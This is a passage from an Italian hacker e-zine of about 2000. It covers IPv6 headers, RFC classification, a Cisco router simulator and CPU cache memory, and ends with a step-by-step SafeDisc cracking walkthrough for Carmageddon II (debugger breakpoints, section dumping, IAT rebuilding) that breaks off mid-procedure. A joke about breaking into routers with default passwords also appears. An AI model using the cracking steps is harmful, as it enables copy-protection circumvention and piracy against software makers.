verranno usate nel caso in cui il nodo mittente non fornisca meccanismi di controllo della congestione, quindi in caso di congestione verranno scartati per primi i pacchetti con priorita' 8 e per ultimi quelli con priorita' 15. Flow Label: Il campo Flow Label e' grande 24 bit. Esso puo' essere utilizzato dal nodo mittente per contraddistinguere un insieme di pacchetti appartenenti allo stesso flusso. La Flow Label associata ad un flusso e' un valore numerico scelto casualmente da 1 a FFFFFF. Payload Length: Il campo Payload Length e' grande 16 bit. Esso contiene la lunghezza del payload, cioe' del campo dati che segue l'header IPv6. Poiche' il campo e' di 16 bit la lunghezza massime del payload di un pacchetto sara' di 64Kbyte. Next Header: Il campo Next Header e' grande 8 bit. Esso indica il tipo dell'header che segue l'header IPv6. Ecco alcuni valori che puo' assuemre questo campo: Valore Protocollo 0 HBH 1 ICMP (IPv4) 2 IGMP 3 GGP 4 IP 5 ST 6 TCP 8 EGP 9 IGP 16 CHAOS 17 UDP 29 ISO-TP4 36 XTP 43 RH 43 FH 45 IDRP 46 RSVP 50 ESP 51 AH 54 NHRP 58 ICMP (IPv6) 59 Null 60 DOH 80 ISO-IP 83 VINES 88 IGRP 89 OSPF 93 AX.25 Source Address: Il campo Source Address e' lungo 128 bit. Indica l'indirizzo del mittente. Destination Address: Anche questo campo e' lungo 128 bit. Dovrebbe indicare l'indirizzo del destinatario finale, anche se in presenza di Routing Header puo' non essere cosi'. L'header IPv4 ha al suo interno degli spazi per alcuni campi opzionali che richiedono un trattamento particolare dei pacchetti (avete presente i campi sp_data e ipoptlen nello spoofit...). Cio' peggiora ulteriormente la situazione di protocolli gia' di per se non molto veloci, come il tcp, poiche' la presenza di queste opzioni va verificata pacchetto per pacchetto. L'IPv6 risolve questo problema con gli Extension Header, cioe' uno o piu' header collegati tra di loro dal campo next header. Un pacchetto IPv6 potra' avere nessuno, uno e piu' extension header. Se sono presenti diversi extension header, il loro ordine non sara' casuale, ma e' stabilito dall'rfc 1883: IPv6 Header Hop-by-Hop Options header Destination Options header (opzioni X il router) Routing header Fragment header Authentication header Encapsulating Security Payload header Destination Options header (opzioni X il destinatario finale del pacchetto) Upper-layer header Vediamoli uno ad uno: Hop-by-Hop option header: Contiene informazioni che devono essere elaborate da ogni nodo lungo il percorso. L'header e' piu' o meno questo: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next Header | Hdr Ext Len | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | | . . . Options . . . | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Il campo Next Header (8 bit) gia' lo conosciamo, invece il campo Hdr Ext Len contiene la dimensione dell'header espressa in multipli di 64 bit, esclusi i primi 64 bit. Il campo Options ha lunghezza variabile e contiene una o piu' opzioni codificate in modo TLV. Routing header: Contiene una lista di nodi che il pacchetto dovra' attraversare per giungere a destinazione. La specifica puo' essere per ogni nodo lungo il percorso (strict) o meno (loose). Vediamo come e' fatto l'header: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next Header | Hdr Ext Len | Routing Type=0| Segments Left | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Reserved | Strict/Loose Bit Map | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Address[1] + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Address[2] + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Abbiamo il solito campo Next Header, poi il campo Hdr Ext Len che contiene la dimensione dell'header espressa in multipli di 64 bit, esclusi i primi 64 bit. Questo valore nel caso dei routing header di tipo 0 (l'unico tipo attualmente definito dall'rfc 1883) deve essere minore o uguale a 46 ed uguale a due volte il numero degli indirizzi presenti nell'header stesso. (I primi 64 bit contengono la parte fissa dell'header, quindi la dimensione sara' (128*n)/64=2n). Il campo Routing Type e' grande 8 bit e contiene il valore zero. Il campo Segments Left e' grande 8 bit contiene il numero di address non ancora visitati, e puo' avere un valore massimo di 23. Il campo Reserved e' grande 8 bit ed e' riservato per usi futuri. (ma no!) Il campo Strict/Loose Bit Map e' grande 24 bit e contiene una maschera che indica per ogni address se l'indirizzo deve essere trattato in modo strict o loose. I campi address sono lunghi 128 bit e contengono gli indirizzi dei nodi da visitare. Questo header ne puo' contenere massimo 23. Byez Asynchro ---------------FINE PRIMA PUNTATA: ARRIVEDERCI AL PROX NUM :D----------------- --------------------------------------------------------------------------- RFC : queste sconosciute ....... ( meglio cosi'.. :) ) ________________________________________________________________________ Le Request For Comment 1. Come sono classificate ? 2. I " Processi di Maturazione " 3. Il Numero delle Rfc puo' cambiare ? 4. Pigliamo Le Rfc via FTP 5. Pigliamo le Rfc via E-Mail 6. Tiriamo giu' le rfc da Web 7. Saluti e ringraziamenti Fake """"""""""""""""""" 1. Classificazione """"""""""""""""""" Completo gli articoli precedenti con alcune precisazione riguardo le RFC . A chi puo' interessare : le Request For Comment possono essere proposte da qualsiasi persona : infatti chiunque puo' presentare una proposta perche' " diventi " RFC Ci sono due commissioni tecniche al riguardo , che le esaminano e le catalogano : la IETF o IRTF ( sui nomi non sono sicurissimo , se li ho cannati mailatemelo fake@freemail.it :) ). Ecco qui l'elenco delle classificazioni standard : - Reccomended -> queste rfc sono raccomandate e quindi spesso implementate da tutti gli host, etc. - Required -> sono le RFC " Obbligatorie " , cioe' devono essere implementate da tutti gli host e gateway TCP / IP - Limited use -> quindi rfc non destinata all'uso generale - Elective -> rfc elettiva , quindi non di obbligatoria implementazione - Not reccomended -> il nome dice tutto -> rfc da non implementare Spero che fino a qui sia tutto chiaro.......... Ora passamo ai Processi di maturazione ************************************ 2 Processi di maturazione delle rfc ************************************ Nota : Questa e' solo una bozza del processo completo della maturazione di una Rfc ( credo che gli stadi delle rfc siamo molti di + ma questi sono i + importanti) : - Internet Standard -> concessa solo dopo che la suddetta rfc ha raggiunto un elevato grado di maturita' tecnica - Draft Standard -> e' una rfc ancora in fase di " test " e quindi e' molto probabile che venga cambiata prima di diventare ufficiale - Proposed Standard -> dopo un lungo processo di revisione questa rfc sta per essere ufficializzata , dopo ulteriori modifiche - Experimental Protocol -> protocolli non " consigliati " e quindi da non implementare - Historic Protocol -> protocolli che al 99% non verranno implementati perche' abbandonati - Informational Protocol -> protocolli di solito sviluppati da altre organizzazioni al di fuori di quelle segnalate al punto 1 *** 3. *** Risposta : CERTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ! Esempio : mettiamo il caso che una RFC venga aggiornata o modificata per chissa' quali motivi : questa Rfc verra' ripubblicata con un altro numero identificativo ! Domanda ovvia : come faccio a sapere se una rfc e' stata aggiornata Riposta : Leggitele tutte :)) :P Credo cmq che i cambiamenti vengano segnalati ma non ne sono certo ( se fate una ricerca in internet forse beccate qualche sito che segnala gli aggiornamenti) *** 4. Bene, : *** Downloddiamoci le RFC ....... Necessario : - connessione a internet ( ^_^ ) - un qualsiasi client FTP Ecco il primo metodo : via FTP a. andate in ftp://ds.internic.net/rfc ( NON RICORDO DOVE LO HO LETTO CmQ DOVREBBE ANCORA FUNZIONARE ... SPERO ) b. User : Anonymous Pass : tuaemail@ilrestodeltuoindirizzo.itocom c. Scrivi : Get rfcxxxx.txt dove xxxx e' il numero della rfc che volete downloddare *** 5. E se qualkuno non sa usare un programma di ftp o non sa cosa sia *** passiamo a come downloddarle via e-mail mandate una mail a : mailserv@ds.internic.net corpo del mex deve essere : Send RFCxxxx.txt per le xxxx leggete il punto 4 CONSIGLIO: Questo metodo presenta alquante limitazioni quindi consiglio a tutti di downloddarsele via ftp o web *** 6. Web *** Questo e' il metodo + usato per downloddare le rfc ....... .....downloddiamole da webz -> http://www.isi.edu/rfc-editor/rfc.html P.S. : Non so se questo sito sia ancora UP cmq le potete trovare in altri situzzi, basta chiedere in giro /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Un RingraZiamento a : N0bodY88, mAyhEm, RigoR MorteM, |CyraX| B_Berry, ............. e al mio compagno di banco da cui copio regolarmente le versioni di latino :) /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Per consigli, insulti o altro mailatemi pure a fakefake@freemail.it Th3 E|\|d Fake ͻ Ŀ ROUTER SIMULATOR LA FIGATA DEL 2000 :D ٺ ͼ Salve a tutti questo non sara' un articolo canonico come gli altri ma piu' un consiglio. Ultimamente mi sono trovato fortemente attratto da quei cosi che costano sugli 8-10.000.000 (se non erro) e che vengono chiamati CISCO ROUTER 2500. Sul fatto di che cosa siano credo che ci arrivino tutti =) Cmq per chi abbia gia' sentito la parola router e non sappia che cosa siano i router servono ad instradare tutte le migliaia di pacchetti che vagano in ogni momento x la rete. A causa di questo mio "improvviso" interesse x i router ho detto le soluzioni sono 3: 1) mi buco un router e me la godo da li' :D Ma purtroppo mi sono accorto che non e' vera la voce che gira' che meta' router hanno password cisco :( o no? ;) 2) me lo compro =) Ma purtroppo sono stato impossibilitato a comprarlo causa mantenimento delle mie venti ville in jamaica dove condivido tutto col mio amico Bob Marley (pensavate fosse morto voi ahahahah ma solo io, Jammina e Mayhem sappiamo dove sta :D ) 3) mi cerco un emulatore di cisco ;) Al che' le prime persone a cui ho chiesto mi hanno dato del pazzo e hanno tentato di tracciarmi x segnalarmi alla piu' vicina casa di cura, ma io imperterrito facendo un giretto qui e un giretto li' quasi per caso mi sono imbattuto nella sezione cisco di antionline e tadah!!! I miei occhi si illuminarono e mi scaricai subito il file wannabe.zip che conteneva il tanto agognato simulatore. Con infelicita' appresi che funzionavano solo alcuni dei comandi (10 in tutto funziano). Dopo un po' di prove facendo l'about o guardando nei txt allegati mi trovai il link a www.routersimulator.com e netscape non fece tempo ad aprirsi che ero' gia' sul sito :-) Che c'avra' di strano sto sito? (direte voi) E io vi rispondero' che sul sito ci sono ben 3 lezioni su tutti i comandi (al momento attuale) utilizzabili nello IOS (il sistema operativo dei router cisco [ presente dagli 800 in su se non sbaglio ma mi sa che sto a sbaglia=]) che adesso e' alla versione 12.0. Quindi vi cosiglio subito di andare al sitozzo in questione (messo cmq anke tra i link in alto) e di scaricarvi sia l'emulatore (strafantastico) che le tre lezioni con tanto di soluzioni. Alla fine di tutto cio' voi saprete le basi di un router cisco: - ci sono due password una x entrare e una di enable (che e' l'equivalente del su di linux) e che da accesso root sul cisco; - i comandi si danno con "comando1" e se si hanno dubbi basta digitare "comando1 ?" e vi verra' fatta la lista di tutte le opzioni possibili con tanto di spiegazione; - saprete aggiungere o togliere una password non cifrata, cifrata e secret - saprete configurare e assegnare gli ip alle varie interfacce (ethernet 0, serial 0, serial 1 etc). Ovviamente tutto cio' sara' solamente l'inizio xche' configurare e capire bene un router e' piu' facile a dirsi che a farsi (chiedete a mayhem!) ma piu' vi addentrerete nel mondo cisco piu' vi renderete conto di capire sempre di piu' quella cosa da tutti definita come "internet". Ora vi lascio ai vostri spippolamenti e per il prox numero di NetRunners proporro' un art su come settare la sicurezza sui cisco attraverso secret, tacacs e altre cosette, tutto solo se me lo accetteranno gli Spippolatori, io intanto assimilo con il manualone cisco 11.3 e 12.0 tirati giu' da www.cisco.com (c'e' piu' documentazione li' che negli archivi rfc quasi =) e letti sui miei due libri freschi di pagamentos: - Architettura di Instradamento per Internet by Bassan Halabi (CiscoPress) - Progettare una rete sicura by Merike Kaeo (CiscoPress) Imo ottimi tutti e due. Tanto xche' non sembri che faccia pubblicita' cisco ricordate che ci sono tanti altri router e switch e altre belle cosette che potete trovare in rete e ognuno ha i suoi comandi :D Un arrivederci quindi alla prox avventura sempre qui su mai dire gnu-baaaais! Byez at all N0bodY88-ooo X mailarmi --------------------------------------> n0body88@freemail.it X telefonarmi -----------------------------------> callback cisco 761 :P X sapere xche' vivo -----------------------------> chiedete@a.smav.it ͻ Ŀ WANNA BE FLASH? USE THE CACHE......... ٺ ͼ Wanna Be FlAsh ? UsE ThA Cacheeeeeeeeeee.......... ThiS art. is DeD to: \SPIRIT\, NObodY88, Koma, Nhaima, Roxina, Flamer, Fake e Malattia con cui ho passato un pomeriggio da godo al Futur di Bologna. Ankora: Adryana, smav, sharra14, V56, DjPulce, viper_rt, Onyxgirl, Tanith, Xunil, DeViLNeT, Audioman, Maffy, Neo, Maniac666, Harlock, gufoz, rubrik, Jesty, Jesty2, Rospetto. Con cui divido tutte le mie nottate. Ed in oltre: Chtulhu, Dark-Elf, Gnoma ed ITTIE che pur non essendo fisicamente con noi...lo erano con l'animo :) This ArtiCle is Vs-DeD 2: Il mio proffo che riesce a rendermi, tramite il suo metodo di insegnamento completamente piatto ed il suo comportamento sprezzante ed odioso, una materia cosi' bella..complicata si'...ma davvero affascinante, semplicemente MERDA. Buenone..la cache..bene bene...tutti quanti la conoscono... te quanto hai di cache? 512k? 1024k?Ma pochi...pochissimi direi...sanno che cosa sia realmente, a cosa serva e come mai e' stata introdotta nell'ambito della costruzione,anke detta "architettura" dei nostri attuali elaboratori...cerchero' di spiegarvelo in maniera "semplice" tuttavia l'articolo non e' certo di facile comprensione e necessita di adeguate conoscenze nel campo dei sistemi architetturali. Prima di parlare della cache dovro' introdurvi e darvi una spruzzatina di nozioni fondamentali sulla memoria in generale. La memoria si divide principalmente in 3 livelli che si differenziano tra loro per velocita' grandezza e posizione: -La Memoria di Mazza(Massa):P contiene tutti i dati che NON devono essere elaborati all'istante o cmq non prossimamente. -La Memoria Centrale: in esta porzione di memoria sono pozionati tutti i dati che vengono elaborati dal processore in quell'istante, questo livello e' anke detto "in linea" proprio perche' la CPU interagisce istantaneamente con essa. L'unico piccolo "problema" sorge quando si sta eseguendo + di un programma contemporeaneamente. Tutto cio' e' stato risolto con il caricamento in questa memoria delle parti di programma che in quel momento sono eseguite, tutto il resto del programma sara' posizionato in memoria di massa e sara' caricato in memoria centrale solo quando dovra' essere eseguita.Questa tecnica e' detta multiprogrammazione. -La Memoria locale al processore: Beh questa parte e' semplicemente l'unione di tutti i registri ad alta velcita' del processore (AX BX CX e azzate varie insomma). Qui' sorge il secondo problema... La velocita' di accesso del processore alla memoria e' diversa a seconda del tipo di memoria a cui accede...caricando i dati dalla memoria locale, il processo sara' molto + veloce mentre da quella di massa molto + "lento". Da cosa e' causato tutto questo ? Semplicissimo...dalla differenza di larghezza che vi e' nei canali di comunicazione :) Il software che gestisce l'accesso alla memoria da parte del processore fa in modo da spostare le istruzioni ed i dati alle quali la CPU ha + frequente accesso nelle zone di memoria + veloci...purtroppo la capacita' delle memoria e la sua velocita' sono in diretto contrasto tra loro...per la collimazione di questo gap son state utilizzate 3 Tecniche principali: 1-Allargamento del bus di Dati 2-Prefetching 3-Aumento dei livelli nella gerarchia della memoria 1-Allargamento del bus di Dati(Parallelismo di tipo spaziale) Il canale di connessione tra processore e memoria (BUS) e' il collo di bottiglia di ogni calcolatore costruito sulla basa dell'architettura di Von Neumann.Nonostante nella memoria ci siano una notevole quantita' di dati che aspettano solo di essere caricati ed eseguiti la CPU ha la capacita' di estrarne solo uno alla volta.La prima soluzione proposta e' quella dell'allargamento del bus di dati: in pratica il processore estrae + di un dato alla volta e lo esegue contemporeaneamente agli altri estratti.Questa pero' non e' una reale soluzione sia perche' il processore dovrebbe gia' conoscere la sequenza reale delle operzioni da svolgere e dei dati da estrarre, e sia perche' questa soluzione non fa altro che raggruppare + architetture con lo stesso problema in comune...in parole povere, il problema non e' risolto :) 2-Prefetching (Parallelismo di tipo temporale) Con questa tecnica la CPU cerca di indovinare quale sara' la successiva operazione ad essere estratta dalla memoria e sovrappone il suo caricamento all'elaborazione della precedente. Non sempre pero' la CPU fa centro :P ed allora non indovinando l'istruzione da estrarre fara' un'esplicita richiesta della reale operazione....tutto questo non comporta una perdita di tempo ma neanche un guadagno. E' cmq un'ottima tecnica poiche' riesce a sfruttare l'architettura gia' esistente in maniera leggermente migliore indi senza spese per l'hardware ma semplicemnte con un aggiornamento del software :) 3-Aumento dei livelli nella gerarchia della memoria Perche' allargare il tubo, se posso invece renderlo semplicemente + scorrevole ? Ecco che entra in campo la Cache.... La soluzione e' cercare di interporre delle memorie moooooooooolto + veloci tra la memoria centrale ed i registri in modo tale da rendere lo scorrimento dati molto + fluido...vi spiego mejo...quando il processore ha bisogno del dato, esso viene caricato nella memoria cache o memoria buffer nel frattempo tutto il resto delle info collegate al dato richiesto incominceranno ad accumularsi nel buffer dal quale andranno estratte in seguito dal processore alla velocita' della cache :))) spero abbiate capito :PPP.Quando accadra' che un dato richiesto dalla CPU non sara' presente nella cache, essa verra' svuotata del suo contenuto ed il processo rincomincera' daccapo...(Loop). ____________ | | /\ Velocita' | CPU | /__\ || |____________| || || | | || || | Registri | || || |____________| || || | || || _____|______ || || | | || || | Memoria | || || | Cache | || || |____________| || || | || || _____|______ || || | | || || | Memoria | || || | Centrale | || || |____________| || || | || || _____|______ || || | | || _||_ | Memoria | || \ / | di massa | Capacita' \/ |____________| La Cache :) (finalmente direte voi!) Un'ottima prerogativa della cache e' quella di potersi adattare in modo "dinamico" a contenere i dati di cui la CPU fa un maggior utilizzo. Ogni volta che il processore accede ad una informazione essa viene immagazzinata anke nella cache in modo tale che se debba essere riutilizzata nell'arco di un breve periodo di tempo, puo' essere letta direttamente dalla cache e non dalla memoria Centrale. Le probabilita' che l'operazione da caricare sia gia' presente nella cache sono calcolate da degli opportuni alogaritmi che attraverso una "politica di replacement" caricheranno nella cache solo le info con una maggior prob. di acesso in un minor spazio di tempo. L'unita' di misura delle allocazioni all'interno della cache e' il blocco o linea. Ogni tipo di informazione passante per la cache pero' ha delle caratteristiche proprie di essa che suggeriscono un diverso svilupparsi della sua architettura, esistono per questo vari tipi cache specifici per i diversi dati da memorizzare. -BTC Branch Target Cache in cui vengono memorizzate le istruzioni target recentemente eseguite dal processore e le successive. Quando il sistema dovra' richiamare un branch andra' per prima cosa a controllare se nella BTC e' presente in modo da velocizzare il processo. Vi sono anke delle cache preposte all'immagazinamento dei dati che hanno una struttura + complicata poiche' devono prevedere la possibilita' che le info caricate siano in seguito modificate dal processore.Esse, se modificate, devono necessariamente essere ricopiate nella memoria centrale (copy-back). Ma la cosa non e' cosi' semplice, infatti cosa succede se il sistema e' dotato di + processori o se cmq ha dei canali di I/O indipendenti ? ? ? ? Le info verrebbero modificate ma l'altro processore non se ne accorgerebbe, appunto per ovviare a questo inconveniente si usano 2 tecniche dette: write-through e buswatch. La write-trought consiste nel trascrivere appena modificate tutte le info nella memoria centrale, la buswatch invece e' un meccanismo attraverso il quale il sistema controlla se il dato che sta per caricare e' stato modificato in qualche altra cache o nella memoria centrale stessa. ۰۰۰۰۰۰۰۰۰۰ ۰۰۲۰۲۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ Autore: cod e-mail: cod@antisocial.com Data: 29 marzo 2000 Titolo: Carmageddon II - Carpocalypse now Luogo: Quartier generale di cod :P Diciamo di ammazzare il tempo come se, purtroppo, non fosse il tempo ad ammazzare noi. Alphonse Allais DISCLAIMER: Quanto state per leggere stato scritto a puro scopo didattico, l'autore condanna quanti vogliano utilizzare le informazioni qui scritte per scopo illegale. L'autore non si assume nessuna responsabilit per eventuali danni che possano derivare dalla lettura di questo documento (danni mentali o al vs personal computer) e da mancati profitti che possono essere causati agli autori (... sono passati quasi 2 anni, non cambia affatto la situazione!!). Strumenti utilizzati: Numega SoftICE 4.00 - Il mio debugger preferito. iCEDump - Patchate il vostro SoftICE se non l'avete fatto! O usate iCEDUMP 6 Hacker's View 6.10 - Un ottimo editor per chi si occupa di cracking. SupWrite - Un programmino scritto da Pedro/Laxity che ci facilita buona parte del lavoro, per chi non usa HexWorkshop Windasm 8.xx - Il disassemblatore + lumacone che ci sia..... Il cd originale di CARMAGGEDON 2 - Carpocalypse now o una copia fatta col CloneCD o magari anche il crack dei Laxity per SafeDISC. Otteniamo sempre lo stesso risultato! Qualche buon cd di musica.. a condizione che non vi rincoglionisca Introduzione: Chi, come me, ha una passione per l'informatica da un p di tempo ricorder che nell'estate del 1997 fu introdotto sul mercato un videogioco... di per se con nulla di poi tanto eccezzionale a livello grafico o sonoro... ma con qualcosa di veramente spaventoso... CARMAGEDDON. Cosa aveva questo gioco da essere considerato ILLEGALE in molti paesi di questo piccolo ammasso di terra? NIENTE! Si trattava di un normalissimo gioco di corse di automobili, che per incentivava il pilota a mettere sotto l'automobilina tutti gli esseri umani che si venivano a trovare nell'arena di gioco. Il mondo intero rimase shockato dalla filosofia di questo videogioco... ne venne vietata la vendita della versione originale anche nel nostro paese. Le uniche copie non censurate del videogioco furono ritirate dagli scaffali dei negozi... solo perch degli stupidi consideravano violento questo gioco... perch poteva influenzare i giovani adolescenti convincendoli che era moralmente corretto investire le persone! Un paio di mesi pi tardi venne introdotta la versione censurata, dove gli uomini furono sostituiti da degli stupidi zombi con un sangue verde e con mucche... il gioco aveva perso di per se il fascino che aveva! :( Non mi mai piaciuta questa versione del gioco. Nonostante questo, la violenza nei video giochi continuata ad aumentare... oggi vendono per lo pi i titoli dove si entra in campo con un arsenale che farebbe invidia perfino ad un'intera truppa militare, dove si spara a pi non posso e dove non esistono alleati o nemici... se vi sono alleati meglio per loro stare il pi lontano possibile (almeno da me in Unreal tournement.. ne ho ammazzati un bel p della mia squadra.. prima si spara e poi si pensa!). Nel 1998 finalmente stato pubblicato il seguito di CARMAGEDDON CARMAGEDDON II - CARPOCALYPSE NOW Finalmente non stato censurato nemmeno nel nostro paese!! E finalmente mi posso mettere alla guida di un auto senza dovermi preoccupare dei passanti, qui ne posso investire quanti ne voglio!!!! (senza correre il rischio che mi sia ritirata la patente!), anzi mi ci potrei anche esercitare a non ammazzarne, ma poi se non li stendo non guadagno punti e resto fregato nel gioco! SIGH :/ E' ora di incominciare... Per prima cosa ho inserito il CD nel lettore ed ho caricato CDR WIN per fare una scansione del disco. Errore di lettura tra il 100 e il 400. settore! Avvio Gestione risorse e mi metto a guardare il contenuto del CD-Rom. Trovo subito dei file con estensione .tmp, e alcune solite e stupide DLL che ho gi visto in altri cd. Per dare maggiore conferma al mio dubbio cerco nel CD eventuali file con estensione .ICD. Ok sono stati trovato e come al solito oltre a CARM2_HW.ICD e CARM2_SW.ICD ci trovo due eseguibili. IL CD Rom stato protetto con SafeDISC e il mio bel masterizzatore non supporta la RAW Write... maledetta YAMAHA! Allora non resta altro che crackarlo! Io cracker CARM2_SW.ICD dato che non ho schede 3D sul pc, ma il metodo usato identico! Per prima cosa installo il gioco sull'hd, e avvio HIEW per dare un'occhiatina al file CARM2_SW.ICD. SafeDISC cripta l'eseguibile originale del videogioco e lo decripta solo quando si realmente accertato che il disco utilizzato un CD originale. :) Si ma io il cd gli e lo devo tornare.. se mi viene voglia di farmi un giro e non preoccuparmi dei passanti che me ne faccio del cd masterizzato ? Allora avviamo HIEW CARM2_SW.ICD, battiamo INVIO e entriamo in modo esadecimale, premiamo F8 e incominciamo a leggere la tabella che ci compare: Original Entry Point RVA 00173730 Image Base 00400000 Premiamo F6 e diamo un'occhiata alle sezioni del file: Sezione VirtSize RVA PhisSize Offset F L A G .text 00181A9C 00001000 00181C00 00000400 60000020 * CODICE .rdata 00005AF4 00183000 00005C00 00182000 40000040 * IAT .data 0020D824 00189000 000E7000 00187C00 C0000040 * DATI Ok.... questa la struttura del file, per nostra fortuna SafeDISC non cripta questa tabella.. altrimenti sarebbero guai :P Di tutte queste sezioni, CODICE e DATI sono criptate... Non si capisce un mazzo di quello che c' memorizzato sul disco! Avviamo il sistema con SoftICE caricato... avviamo il videogioco e ci compare la schermata delle impostazioni... io salvo tutto per utilizzare il rendering software e cos mi carica sempre CARM2_SW.EXE. Mi compare una msg box che dice gentilmente di rimuovere il debugger. Avvio FrogsICE e tolgo la schermata BLUE SCREEN OF DEATH .. cos SoftICE funzioner come se nessun check anti-debug fosse attivo sul pc. Ricarico il gioco e lo faccio girare fino a che il monitor non diventa scuro xch sta caricando il gioco. Carico SoftICE premendo CTRL+D ed ora di incominciare :P Settiamo un bel break point sull'entry point del gioco... Assicuratevi che sia il punto giusto di memoria ok ?? :P Per questo gioco l'entry point 00173730 ... ma quello sul file, sommiamo l'image base ed otteniamo 00573730 Il punto corretto dove ci dobbiamo fermare. BPX 573730 e continuamo la normale esecuzione... chiudiamo il gioco e lo riavviamo. Stavolta il debugger brekka dove noi volevamo! Ora ricorriamo a iCEDump (o a qualsiasi altro dumper)... PAGEIN D 401000 181A9C c:\text.bin ; Cos ci copiamo tutto la sezione .text ; dalla memoria sul disco fisso. PAGEIN D 589000 E7000 c:\data.bin ; Idem x data.. per qui vi faccio notare ; che copiamo solo quanto risulta essere ; la dimensione fisica e non la lunghezza ; virtuale... altrimenti ci troverremo con ; un eseguibile quasi 2 volte pi grande ; dell'originale! La sezione .rdata la lasciamo dove ... la IAT e se la importiamo ci mettiamo nei guai... il loader non ci darebbe il programma! Tracciamo un attimino il programma, finch non incontriamo la prima CALL DWORD PTR [xxxxxxxx]. Tracciamo questa CALL, entriamo dritti in una tabella di JMP DWORD PTR [xxxxxxxx] per il sice quel xxxxxxx l'ha tradotto in nomi. Dove ci troviamo noi JMP DWORD PTR KERNEL32!GetVersion. Avviamo ok ... continuamo con l'esecuzione del programma... non ce ne pu sbatter di meno! Chiudiamo il gioco e facciamo una copia del CARMA2_SW.ICD e lo chiamiamo CRACKED.EXE (La vittoria del pi forte... se usa un minimo di cervello :P) Io con SupWrite, voi con quello che vi pare procedo a sostituire il codice di CRACKED.EXE con quello che ho dumpato dal programma. SUPWRITE C:\TEXT.BIN CRACKED.EXE 0x0 0x400 0x181A9C La sezione .text stata sostituita con quella copiata dalla memoria :P Notiamo i vari parametri... C:\TEXT.BIN il file di origine, CRACKED.EXE il file di destinazione, 0x0 il valore esadecimale da dove si incomincia a leggere dall'origine, 0x400 il valore invece esadecimale da dove si incomincia a scrivere, 0x181A9C il valore esadecimale di quanto si deve scrivere. SUPWRITE C:\DATA.BIN CRACKED.EXE 0x0 0x187C00 0xE7000. Problema risolto :P Ok .. potremmo dire che il programma crackato. ma qualcosa non va. Avviate il file e vi dar errore di protezione. Tracciamolo col SoftICE. Vi ricordate la CALL DWORD PTR che puntava a JMP DWORD PTR KERNEL32!GetVersion ? Si ... bene stavolta punta direttamente a KERNEL32!CloseHandle, non ci sta nemmeno il JMP DWORD. Cosa significa questo ? Il gentile SafeDISC manipola le chiamate della IAT in chiamate all'interno del SafeDISC stesso che poi le smista alle chiamate esatte. Per lo meno questa versione si limita a reindirizzarle a quelle reali con un JMP DWORD ... allora cosa si fa ? Dovremmo lavorare un p con la vecchia carta e l'editor. Innanzi tutto incominciamo a scrivere su un foglio di carta tutti gli indirizzi dove si trovano le JMP DWORD Funzione che stanno in memoria. Li scriviamo in ordine progressivo, cos come vengono e riportiamo anche l'offset in cui si trovano tali istruzioni. Completata questa operazione si passa all'indirizzo .00583000, ovvero all'inizio della sezione .rdata dove risiede la IMPORT TABLE ADDRESS del nostro target. Battiamo su SoftICE il comando DD e abilitiamo la Data Window con WD nn (nn sta x quante righe visualizzare nella data window). D 583000 e la Data Window si riporta su 583000. Incominciamo a cercare tutti quei indirizzi che nella IAT risultavano puntare a delle JMP DWORD Funzione... Su carta riportiamo l'indirizzo nella IAT e la funzione a cui realmente esso punta. Completiamo questo lavoro per tutte le funzioni che abbiamo trascritto e chiudiamo Sice e a sua volta il programma. Apriamo con l'editor esadecimale di nostro gradimento il file binario e spostiamoci all'inizio della sezione .rdata, ovvero all'offset 182000h del file. Qui incominciamo a ricorreggere tutte le voci. Allora noi cosa abbiamo su carta ? :00Bxxxxx JMP DWORD Funzione :00583xxx voce che riferiva a tale JMP Ci posizioniamo sull'indirizzo RVA e vediamo a quale API realmente punta il programma, aggiungendo alla DWORD memorizzata nel file il valore +400000h e entriamo nella tabella dei nomi. Qui riscontriamo i vari nomi delle API, segniamo gli offset RVA delle varie API e le correggiamo nella IAT facendo puntare per esempio la locazione :005830B4 da CloseHandle come risulta sul file a GetVersion. Le voci che sono memorizzate in RDATA sono costituite in questo modo. xx xx NomeFunzione 00h I primi due byte anche se non a prima vista non azzeccano nulla con il nome della funzione importata sono necessari nella IAT e pertanto li dobbiamo contare come elementi pertinenti al nome. Vanno contati negli offset. Allora, si incomincia con la sostituzione di tutte le voci della IAT. :P Per semplificare questo lentissimo e noiosissimo processo ho avviato il SoftICE brekkando all'entry point del programma. Ho rimosso la Data Window ed ho espanso al massimo la Code Window. Mi sono posizionato prima sulla tabella che conteneva tutti i JMP DWORD al KERNEL32 ed ho acceso la stampante! Con il tasto 'PRINT SCREEN' ho stampato le 4/5 pagine che erano di questa tabella ed idem ho fatto anche con la tabella di USER32. Cos mi ritrovavo su carta la IAT ordinata di Carmageddon 2. Continuo l'esecuzione ed esco. Avvio il W32Dasm e disassemblo il file CRACKED.EXE. Salvo il progetto e lo riapro con l'editor di MS-Dos. Mi porto sulla voce 'IMPORTED FROM KERNEL32.DLL' e su quella di USER32.DLL. Ne seleziono le voci importate e le salvo in file di testo separato. Incomincio a riorganizzare le voci nel file di testo come sono indicati sui fogli. Ricordo che il W32Dasm ci da la seguente riga per le voci importate: Addr:0018D052 hint(00FE) Name: 